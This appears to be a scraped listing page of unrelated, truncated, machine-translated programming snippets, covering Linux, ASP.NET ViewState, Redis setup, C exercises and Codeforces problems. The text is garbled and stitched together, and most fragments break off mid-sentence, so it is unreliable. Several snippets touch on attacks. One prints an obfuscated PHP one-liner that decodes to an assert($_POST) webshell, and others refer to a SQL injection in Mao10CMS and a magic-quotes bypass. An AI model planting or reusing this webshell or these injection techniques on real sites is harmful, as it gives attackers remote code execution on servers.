Summary: I like to use commands very much, because they provide more control over the Linux system than GUI (graphical user interface) applications, so I've been looking for some interesting ways to make Linux easier and more fun, mostly based on terminal operations. When we find new techniques for using Linux, especially command-line geeks like me, we always feel very excited.I like to use commands very much, because they provide more control over th
Daily life, so that everyone will often feel bored. How can we not be bored? Everyone is doing what they can to find the answer. Based on such consumer insights, the well-known cookie brand-the fun of the decision to launch a wave of advertising campaigns. On the one hand, the brand wants to make consumers, especially the young consumer's life less boring, more fun, on the other hand, they also hope that this campaign can create a topic on the social platform, sparking consumer interest.
So, af
An interesting "Validation of viewstate MAC failed" error is found and solved. viewstatemac
In ASP. NET, View State is widely used. As a hidden field, it can help the server "remember" The changes of the client, so that after the client receives the server's response to PostBack, the values set before PostBack can still be displayed (see http://msdn.microsoft.com/en-us/library/bb386448 (v = vs.100 ). aspx)
To prevent the ViewState in the PostBack of
This article describes two interesting versions of Ubuntu14.04TrustyTahr: tuminiremix14.04 and Cubuntu14.04. Tuminiremix14.04: tuminiremix14.04 is a system based on Ubuntu14.04. It provides basic systems (kernel and Package Manager) and allows users to select more desktop environments, tools, and Application Window managers.
This article will introduce two interesting Ubuntu 14.04 Trusty Tahr variants: Ubun
Interesting C program 100.9 draw Yang Hui triangle, 100.9 Yang Hui
Note: 1. This problem comes from the classical, interesting, and practical programming languages of C language. All programs are compiled by myself. It is marked as different from the original program.
2. All programs in this series are compiled using codeblocks, and the operating system is Windows XP.
Problem: The Yang Hui triangle is displ
Are you sure you don't want to take a look at the interesting code analysis ?, Confirm code analysis
Introduction:Hello everyone, I am Xiaojiang. I am bored when I have a holiday at home. I have learned a lot from reading other blog articles, so I decided to write a blog to record my bit/s.
I would like to give you some details as much as possible, bring some knowledge to beginners and learn together.
Well, we didn't talk much nonsense. We went stra
Reverse basic Finding important/interesting stuff in the code (1)
V. Search for interesting or important parts of the Code
In modern software design, minimalism is not particularly important.
It is not because programmers write a lot of code, but because many libraries are usually statically linked to executable files. If all the external libraries are moved into the external DLL file, the situation will b
Mao10CMS v3.0.2 an interesting SQL injection.
User registry.
Public function submit () {$ ip_false = M ('option')-> where ("meta_key = 'IP _ false' AND type = 'user '") -> getField ('meta _ value', true); if ($ ip_false in_array (mc_user_ip (), $ ip_false )) {$ this-> error ('the login to your IP address is permanently prohibited! ');} Else {if (empty ($ _ POST ['user _ name']) {$ this-> error ('account is required! ');} Else {$ user_login = M ('met
I think this vulnerability is a bit interesting ~~, Around me for half a day. PS: If gpc is not enabled, it doesn't matter if you are in line 59 of/system/init. php.
If (function_exists ('get _ magic_quotes_gpc ') {if (@ get_magic_quotes_gpc () // GPC performs reverse processing {if (! Function_exists ('stripslashes _ gpc ') {function stripslashes_gpc ( $ value) {$ value = stripslashes ($ value );}}
If your server has gpc enabled, I will use stripslas
Linux's interesting single-user mode analysis-Linux general technology-Linux programming and kernel information. The following is a detailed description. Single User Mode
If run-level is equal to 1, it will enter the single-user mode. Generally, you do not need to enter the password when entering the single-user mode. Therefore, if you forget the root password, you can enter the single-user mode and change it with passwd.
In single-user mode, there i
Life is not easy, programming depressed, rather than "man-made" points of interest, so that the day has a more playful feeling.This article refers to a number of project recommendations, sorting out some of the programming language in the individual think more interesting, but also relatively practical open source projects, each language column is not much, interested in the free can try.First, Go1, GobotGobot is a robot, UAV, and IoT framework that p
From: http://www.bfcat.com/index.php/2012/11/random-polygon-ellipse/
I saw it on a blog today.
On a piece of paperRandomly draw some pointsAnd connect them to formRandom Polygon. Find all edges of a polygon.MidpointAnd link the midpoint intoNew Polygon, SoRepeatedThe final result isSmaller and smallerAnd tendAn elliptic!
For example, you can go to an app webpage provided by the author and perform the following operations on your own:
The matthen blog returns the code for this process. This bl
Description
There is an interesting calculator. It has 3 rows of buttons.
Row 1: button 0, 1, 2, 3,..., 9. Pressing each buttonAppendsThat digit to the end of the display.
Row 2: button + 0, + 1, + 2, + 3,..., + 9. Pressing each buttonAddsThat digit to the display.
Row 3: button * 0, * 1, * 2, * 3,..., * 9. Pressing each buttonMultipliesThat digit to the display.
Note that it never displays leading zeros, so if the current display is 0, pressing 5 m
Use of redis
1. Install redis official site steps install redis (http://redis.io/download)
$ wget http://download.redis.io/releases/redis-2.8.15.tar.gz$ tar xzf redis-2.8.15.tar.gz$ cd redis-2.8.15$ make
2. Start redis
$ src/redis-server
Or
Start the background
nohup src/redis-server
Process
[1] 16461
Interesting tips
[emailprotected]:/srv/rorapps/redis/redis-2.8.15# src/redis-server [16445] 16 Sep 09:54:32.684 # Warning: no config fil
goods, writing desktop programs do not need you to learn the ancient TK, the huge QT, directly drag the interface or with the HTML interface or write interface with Flash or ...
You can also have C + + code. NET Code, PHP code, lisp code, Python code, its own Aardio code into 1 programs for you to serve, all said Python is the glue language, I think this goods is glue of glue.
=====================================
python because it is beautiful (officially "elegant"), "Microsoft" this big Fat
See an interesting php sentence:
@$_="S"."S"./*-/*-*/"E"./*-/*-*/"R"; @$_=/*-/*-*/"a"./*-/*-*/$_./*-/*-*/"T"; @$_/*-/*-*/($/*-/*-*/{"_p"./*-/*-*/"OS"./*-/*-*/"T"} [/*-/*-*/0/*-/*-*/-/*-/*-*/ One/*-/*-*/-/*-/*-*/5/*-/*-*/]);?>
Reply content:
ASSERT ($_post[-16]);
?> I think the main question is what the password is to ask, this sentence after all the comments are removed, the post
Preface: domestic front-end research is not inferior in some aspects to foreign countries. Although I do not understand this article, I appreciate this spirit of in-depth research!
------------------------------------- Reprint original -----------------------------------
The topic of anti-corialization came from a piece of twitter last year by Brendan Eich, the father of javascript. I 've been studying it for a few days. I think this stuff is very interestin
Drawhere is an interesting Web graffiti tool. It can be used directly on a web page, but it may be helpful to the web page itself, so you can try it out. When the graffiti is complete, you can save your work as an example. When the double frame is used, the drawhere will be used for a shared location. By doing this, others will be able to see your workshop, hurry up and check out my graffiti.
Drawhere provides a toolbar button. You can use this but
This is an interesting phenomenon in C #. You may be able to see the behavior of CLR in constructing types and the trigger compilation process of JIT compilation.
See the following code:1 class Program
2 {
3 static void main ()
4 {
5 myvaluetype1 type1 = new myvaluetype1 ();
6 console. writeline (myvaluetype1.myint );
7 console. writeline ("**********************");
8 myvaluetype2 type2 = new myvaluetype2 ();
9 type2.myint = 123;
10 console. writeline
Codeforces 482B. Interesting Array [Line Segment tree Interval Update], codeforces482b
Question: codeforces 482B. Interesting Array
Here is an operation in values n and m. Each operation has three numbers: l, r, and val. That is, the value of the sum on the range l --- r is val. Finally, I will ask you what is the original array? If no output exists, no
Analysis: The analysis finds that all intervals must
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